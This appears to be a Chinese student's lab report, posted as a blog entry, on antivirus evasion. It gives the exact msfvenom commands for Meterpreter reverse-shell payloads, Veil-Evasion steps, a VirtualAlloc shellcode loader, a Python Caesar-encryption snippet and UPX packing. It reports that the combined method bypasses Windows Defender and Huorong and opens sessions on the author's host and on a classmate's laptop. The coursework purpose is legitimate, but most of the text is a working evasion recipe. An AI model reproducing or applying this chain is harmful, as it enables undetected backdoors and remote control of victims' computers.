20242320 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20242320 2025-2026-1 《网络与系统攻防技术》实验三实验报告

实验名称:免杀原理与实践

实验环境:

  • Kali Linux 2026.2 虚拟机(主机名 fanxingru):攻击机
  • Windows 11 24H2 宿主机(计算机名 fancy):靶机(任务一至四)
  • 另一台实测电脑:同学笔记本(计算机名 WYS,Windows 11 24H2,任务五)
  • 工具:Metasploit Framework(msfvenom / msfconsole)、Veil-Evasion、mingw-w64 交叉编译器、UPX 4.2.4、Python3
  • 杀软环境:Windows Defender(任务一至三)与火绒安全软件(任务四、五)
  • 网络:任务一至四为 VMware NAT 网段(Kali 为 192.168.166.134),任务五为 iPhone 热点局域网(Kali 为 172.20.10.4);端口统一使用 2320

1. 基础知识

1.1 杀软是如何检测出恶意代码的?(问题一)

杀软采用多层次检测机制:

检测手段 静态/动态 原理 本实验中的对应现象
文件哈希比对 静态 计算文件 MD5/SHA256 与云端黑名单比对 每次编译哈希不同,对新生成文件无效
特征码匹配 静态 比对已知恶意代码的字节序列、字符串与 PE 结构特征 msfvenom 直接生成的 exe 落地即被 Defender 删除
启发式分析 静态+动态 对程序结构与高危 API 组合(如 VirtualAlloc + WriteProcessMemory)进行可疑度评分 加壳、加密程序易被标记
行为监控(主动防御) 动态 监控程序运行时的 API 调用、注册表修改与网络连接 回连外部 IP、申请可执行内存等行为被监控
内存扫描 动态 扫描进程内存,查找解密后的恶意代码 内存中短暂出现的明文 shellcode 可能被检出
云查杀 / 沙箱 综合 上传样本至云端沙箱运行,结合特征与模型判定 对未收录的新样本最有效

此外,Windows 提供 AMSI(反恶意软件扫描接口):PowerShell、JS 等脚本在执行前先经 AMSI 交由杀软扫描内容,因此无文件落地的脚本攻击同样可能被拦截。

1.2 免杀是做什么?(问题二)

免杀(Anti-Virus Evasion)指在保持恶意代码功能不变的前提下,对其静态特征、文件形态与加载方式进行处理,使杀软各层检测无法识别,从而放行执行。

1.3 免杀的基本方法有哪些?(问题三)

思路 具体方法 对抗的检测层
改变静态特征 编码器多轮编码(shikata_ga_nai)、异或/凯撒/AES 加密 shellcode、加壳(UPX)、代码混淆 特征码、启发式
改变文件形态 换用 jar / py / php 等非 PE 输出格式 特征码(非 PE 格式检测强度较低)
改变加载方式 分离加载(加载器与 shellcode 分开存放)、内存解密执行 静态扫描、行为监控
白名单利用 借助 powershell、mshta、rundll32 等系统自带程序加载恶意代码 行为监控、白名单机制

本实验覆盖前三类中的代表方法:编码与换格式(3.1)、Veil 封装(3.2)、C+shellcode 二次开发(3.3),以及加密 + 分离加载 + 内存执行 + 加壳的组合方案(3.4)。

1.4 msfvenom 编码器与输出格式

  • 编码器(-e) 对 payload 做变形。x86/shikata_ga_nai 为多态异或编码器,是 MSF 中唯一评级 excellent 的编码器,可用 -i N 指定迭代轮数。编码后的 shellcode 运行时依赖一段固定的解码 stub 自解密,该 stub 的字节特征已被各大杀软收录,因此仅编码的免杀效果有限(3.1.3 验证)。
  • 输出格式(-f) 支持 exe/dll/jar/php/py/c/raw 等。杀软的检测重点在 PE 文件,对 jar 等格式的检测能力相对较弱,换格式是成本较低的免杀思路。

1.5 Veil-Evasion 的工作原理

Veil 与 msfvenom 直接生成 exe 的区别在于加载器结构:msfvenom 的 exe 内嵌明文 shellcode;Veil 先生成原始 shellcode 并加密,再嵌入用 Go/C/Python 编写的加载器中编译为 exe。磁盘上的可执行文件仅包含加载器代码与加密数据,运行时才在内存中解密执行。Veil 3.1 起采用渐进式内存申请(先以 RW 权限写入,再用 VirtualProtect 改为 RX),避免直接的 RWX 权限申请。本实验选用 go/meterpreter/rev_tcp。

1.6 Shellcode 与 C 加载器

msfvenom 以 -f c 输出 C 数组形式的 shellcode,由加载器分配可执行内存并转入执行,核心三步:

void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);  // 申请可执行内存
memcpy(exec, buf, sizeof(buf));   // 拷贝 shellcode
((void(*)())exec)();              // 函数指针调用,转入执行

自行编写并由 mingw-w64 交叉编译的产物是全新二进制,不含已知工具的特征码,这是二次编译免杀的基本原理。

1.7 加壳

加壳通过压缩或加密改变 PE 文件的静态结构。UPX 属于压缩壳,压缩 PE 节区、运行时先解压再执行。由于 UPX 壳特征已被广泛收录,单独使用效果有限,通常作为组合技术的最后一道工序。

2. 实验内容

任务 内容 技术点 涉及主机
任务一 正确使用 msf 编码器;生成 jar 等其他格式文件 shikata_ga_nai 多轮编码、-f jar、handler 回连 Kali → Windows
任务二 Veil-Evasion 生成免杀后门 Go 加载器、加密嵌入、handler Kali → Windows
任务三 C + shellcode 编程 -f c、VirtualAlloc 加载、mingw 交叉编译 Kali → Windows
任务四 组合应用各种技术实现免杀,与杀软共生 凯撒加密、分离加载、内存执行、UPX Kali → Windows(火绒开启)
任务五 用另一电脑实测,杀软开启下运行并回连 组合方案实战验证 Kali → 同学笔记本

方案简介:先分别验证单技术(编码器、Veil、C+shellcode),再进入组合方案:msfvenom 生成 raw shellcode → 凯撒加密(每字节 +3)存为独立的 encrypted_20242320.bin → 自写 C 加载器负责读文件、内存解密、执行 → 编译后叠 UPX 壳。加载器 exe 内不含 shellcode 本体,bin 文件为密文,明文 shellcode 仅在运行时短暂存在于内存。

3. 实验过程

3.0 实验准备

  1. Kali:ip a 确认 eth0 为 192.168.166.134,hostname 为 fanxingru
    屏幕截图 2026-10-19 100037

  2. Windows:ping 通 Kali,hostname 为 fancy
    屏幕截图 2026-10-19 100043

  3. Kali 工具检查:which msfvenom msfconsole i686-w64-mingw32-gcc upx python3 均有路径输出
    屏幕截图 2026-10-19 100056

  4. Windows:java -version 确认 Java 环境(任务一的 JAR 运行依赖)

  5. 杀软状态:任务一至三确认 Defender 实时保护开启;任务四、五使用火绒,实验前打开主界面确认防护开启

3.1 任务一:正确使用 msf 编码器,msfvenom 生成 JAR 等其他格式文件

3.1.1 查看编码器列表

msfvenom --list encoders

输出按评级排列,唯一 excellent 级为 x86/shikata_ga_nai
屏幕截图 2026-10-19 100349

3.1.2 基准:不编码直接生成 exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -f exe -o raw_20242320.exe

文件传到 Windows 后被 Defender 实时保护立即删除
屏幕截图 2026-10-19 100542
屏幕截图 2026-10-19 100504

3.1.3 使用 shikata_ga_nai 多轮编码

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o encoded_20242320.exe

输出 10 行 x86/shikata_ga_nai succeeded with size xxx (iteration=N),每轮 size 不同,体现多态性。文件传到 Windows 后仍被 Defender 删除。原因如 1.4 所述:解码 stub 的特征固定且已被收录,多轮编码无法改变该特征。

屏幕截图 2026-10-19 100552

3.1.4 生成 JAR 格式后门并回连

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -f jar -o backdoor_20242320.jar

Kali 端监听,payload 必须使用 java 系:

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.166.134
set LPORT 2320
exploit

Windows 端执行:

java -jar C:\Users\fancy\Desktop\backdoor_20242320.jar

屏幕截图 2026-10-19 100837

Kali 端收到 Meterpreter session
屏幕截图 2026-10-19 100843

任务一结论:编码器应掌握用法(-e/-i/-b),但仅编码无法绕过查杀;更换输出格式(JAR)是成本更低的免杀思路,局限在于目标机需安装对应运行环境。

3.2 任务二:Veil-Evasion 生成免杀后门

3.2.1 安装与启动

sudo apt install veil -y
sudo veil

首次运行自动初始化。启动时若 sudo 报 unable to resolve host fanxingru,需同步 /etc/hosts(见问题 1)。主菜单含 Evasion 与 Ordnance 两个工具。

屏幕截图 2026-10-19 101304
屏幕截图 2026-10-19 101320

3.2.2 生成 Go 语言 meterpreter 后门

use evasion
use go/meterpreter/rev_tcp.py
set LHOST 192.168.166.134
set LPORT 2320
generate

屏幕截图 2026-10-19 101343

输出文件基名:veil_go_20242320。生成三个产物:

  • /var/lib/veil/output/compiled/veil_go_20242320.exe(最终后门)
  • /var/lib/veil/output/source/veil_go_20242320.go(加载器源码,可见加密数据与解密执行逻辑)
  • /var/lib/veil/output/handlers/veil_go_20242320.rc(监听脚本)

屏幕截图 2026-10-19 101413

3.2.3 回连验证

msfconsole -r /var/lib/veil/output/handlers/veil_go_20242320.rc

波折:加载 .rc 后发现实际监听端口为默认 4444 而非 2320,经 jobs 确认后 kill 0 停止任务,set LPORT 2320 后重新 exploit -j 恢复正常(见问题 2)。Windows 端双击运行 veil_go_20242320.exe,Kali 收到 Meterpreter session,sysinfo 显示 Computer 为 FANCY、OS 为 Windows 11 24H2+。

屏幕截图 2026-10-19 103033

3.3 任务三:C + Shellcode 编程

3.3.1 生成 C 格式 shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -f c -o shellcode_20242320.c

屏幕截图 2026-10-19 103557

输出 Payload size: 355 bytes,文件内容为 unsigned char buf[] = "..." 形式的字节数组。

3.3.2 编写加载器

loader_20242320.c 的结构:将 buf 数组整体复制入文件,main 中按 1.6 所述三步申请内存、拷贝、函数指针调用执行。(截图:nano 编辑界面,可见文件名含学号)

3.3.3 交叉编译成 Windows exe

i686-w64-mingw32-gcc loader_20242320.c -o c_shellcode_20242320.exe

编译无报错。
屏幕截图 2026-10-19 104210

3.3.4 回连验证

Kali 端交互式配置 handler(payload 为 windows/meterpreter/reverse_tcp,LHOST/LPORT 与生成参数一致)。Windows 端双击运行:exe 未被 Defender 删除,Kali 端出现 Meterpreter session opened,sysinfo 确认 FANCY。
屏幕截图 2026-10-19 104612

任务三结论:自写代码、自行编译的产物为全新二进制,静态查杀可通过;但 shellcode 以明文形式内嵌于 exe,仍可能被特征匹配命中,任务四先加密再分离存放。

3.4 任务四:组合应用各种技术实现恶意代码免杀(与杀软共生)

3.4.1 检测环境说明

任务一中 raw 与 encoded 两个 exe 均被 Defender 删除,说明 Defender 对 msfvenom 直接生成的 PE 文件查杀严格。宿主机安装火绒安全软件后,本任务在火绒防护开启状态下进行实测,环境与任务五保持一致。

3.4.2 生成 raw shellcode 并凯撒加密

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -f raw -o shell_20242320.raw

python3 -c "
data = open('shell_20242320.raw','rb').read()
enc = bytes([(b + 3) % 256 for b in data])      # 凯撒加密:每个字节 +3
open('encrypted_20242320.bin','wb').write(enc)
print('Original:', len(data), 'bytes -> Encrypted:', len(enc), 'bytes')
"

输出:Original: 355 bytes -> Encrypted: 355 bytes。

3.4.3 编写分离加载器

loader_20242320.c 的逻辑:fopen 打开同目录下的 encrypted_20242320.bin,读入堆内存后逐字节 -3 解密,随后 VirtualAlloc 申请内存、memcpy 拷贝、函数指针调用执行。exe 内不包含 shellcode。

3.4.4 编译并加壳

i686-w64-mingw32-gcc loader_20242320.c -o loader_20242320.exe
upx --best loader_20242320.exe -o loader_final_20242320.exe

UPX 4.2.4 输出:109984 字节压缩至 60832 字节(55.31%)。
屏幕截图 2026-10-19 105042

3.4.5 部署与回连

将 loader_final_20242320.exe 与 encrypted_20242320.bin 置于同一目录(桌面)。Kali 端 handler 配置同 3.3.4。Windows 端保持火绒防护开启,双击运行 loader:无报毒、无拦截,Kali 端收到 Meterpreter session,sysinfo 显示 FANCY、Windows 11 24H2+。
屏幕截图 2026-10-19 111032

3.4.6 免杀原理分析(纯文字)

该方案使杀软扫描到的每个落盘文件均不含恶意代码:

  1. loader_final_20242320.exe 仅含文件读取、逐字节减 3、内存申请与跳转执行逻辑,不含 shellcode,静态特征匹配无对象;
  2. encrypted_20242320.bin 为 shellcode 整体加 3 后的密文,不命中任何特征库;
  3. 明文 shellcode 仅在运行时短暂存在于内存,且加载器行为简单(无进程注入、无注册表修改),未触发火绒行为检测阈值;
  4. UPX 壳改变 PE 结构,增加静态分析成本。

四项技术分别对应不同检测层:加密消除特征码、分离加载绕过静态扫描、内存执行避免磁盘检测、加壳干扰结构分析。单一技术均可被针对性检测,组合后才能与杀软防护共存。

3.5 任务五:用另一电脑实测(杀软开启下运行并回连)

项目 配置
靶机 同学笔记本电脑,计算机名 WYS,Windows 11 24H2(10.0 Build 26200)
靶机杀软 火绒安全软件 6.0.12.1(病毒库 2026-10-19)
攻击机 Kali Linux 2026.2 虚拟机(fanxingru)
网络 iPhone 手机热点组建的局域网;Kali 桥接获得 172.20.10.4;端口 2320
投递文件 loader_final_20242320.exe + encrypted_20242320.bin(LHOST 按热点网段重新生成)

实测步骤:

  1. 校园网环境无法直接实测:网络需身份认证,桥接的 Kali 无法通过认证获取 IP;两台电脑互 ping 不通(AP 隔离)。改用 iPhone 热点搭建局域网(见问题 5)。
    屏幕截图 2026-10-20 195353

  2. Kali 网卡切换为桥接模式,并在虚拟网络编辑器中将 VMnet0 的"已桥接至"由"自动"指定为无线网卡(自动桥接可能选中错误的物理网卡),重启 NetworkManager 后 eth0 获得地址 172.20.10.4。

  3. 同学电脑 ping 通 172.20.10.4
    3d3bed1cb8d7997b5cf02ac39022a0cb

  4. 按新 LHOST 重新执行任务四流程(生成 raw → 凯撒加密 → 编译 → UPX)
    屏幕截图 2026-10-20 195853

  5. 两个文件打包为 zip 经微信发送(exe 直接发送会被拦截),同学解压至桌面
    图片

  6. 确认火绒防护全部开启
    28df920f90a4e0aa471c9a167591b6a5

  7. Kali 端 handler 监听 172.20.10.4:2320;同学双击运行 loader,无报毒,Kali 端收到 Meterpreter session(172.20.10.4:2320 -> 172.20.10.2:46662),sysinfo 显示 Computer 为 WYS、Windows 11 24H2+。
    屏幕截图 2026-10-20 200358

4. 问题及解决方案

问题 1:启动 Veil 时 sudo 报 unable to resolve host fanxingru: Name or service not known

修改主机名后未同步 /etc/hosts,sudo 解析本机主机名失败。将 /etc/hosts 中 127.0.1.1 对应的主机名改为 fanxingru 后解决。教训:hostname 与 hosts 需同步修改。

问题 2:handler 参数与 payload 不一致导致无法回连

任务二使用 Veil 生成的 .rc 脚本启动监听,jobs 查看发现实际监听端口为默认 4444,而非生成后门时指定的 2320。处理:kill 0 停止该任务,set LPORT 2320 后重新 exploit -j 恢复正常监听。教训:handler 的 payload/LHOST/LPORT 必须与 msfvenom 生成参数一致;排障第一步是用 jobs 查看实际监听状态,而不是凭配置推断。

问题 3:meterpreter 命令报 Unknown command

在 msf exploit(multi/handler) > 提示符下直接输入 sysinfo 报错。meterpreter 命令需在会话交互层执行:先 sessions -i <ID> 进入 meterpreter > 提示符再输入。同理,meterpreter 中查询当前用户用 getuid,whoami 需先 shell 进入 cmd 后使用。

问题 4:msfconsole -x 多行命令解析失败

使用 msfconsole -q -x "多行命令" 启动监听时报 Failed to load module: exploit/multi/handlerset:多行字符串中的换行被吞,两条命令粘连为一条。改为交互式逐行输入解决,本实验后续 handler 均使用交互式配置。

问题 5:实验网络环境搭建中的三个问题

  • Kali 无 dhclient 命令:新版 Kali 使用 NetworkManager 管理网络,改用 sudo systemctl restart NetworkManager 或 nmcli device disconnect/connect eth0 重新获取地址;
  • 桥接后 eth0 无 IPv4 地址:VMware 虚拟网络编辑器中 VMnet0 的"已桥接至"由"自动"改为显式指定无线网卡后解决;
  • 校园网无法用于实测:网络需身份认证,桥接的虚拟机无法通过认证;且两台电脑互 ping 不通(AP 隔离)。改用 iPhone 热点搭建局域网,Kali 桥接获得 172.20.10.4,互通正常,问题绕开。

注:Windows 防火墙默认拦截 ICMP 回显,ping 不通不必然代表网络不通,可用 Test-NetConnection <IP> -Port <端口> 测试 TCP 连通性。

5. 学习感悟

  1. 单一免杀技术均有明确短板:多轮编码不改变解码 stub 的固定特征;Veil 与 C+shellcode 虽能通过静态查杀,但 shellcode 仍可能以明文形式落盘。凯撒加密、分离加载、内存执行、UPX 加壳组合后,每个落盘文件均不含恶意代码,才能在杀软防护开启状态下运行并回连。
  2. 开启杀软不构成完整防御,windows Defender还是很强的。本次实验中代码量不足 40 行的加载器即可在防护开启状态下运行并建立会话。有效的纵深防御还需结合防火墙、入侵检测、最小权限原则,以及对来源不明可执行文件的管控。
posted @ 2026-10-20 21:06  jasmine·fancy  阅读(13)  评论(0)    收藏  举报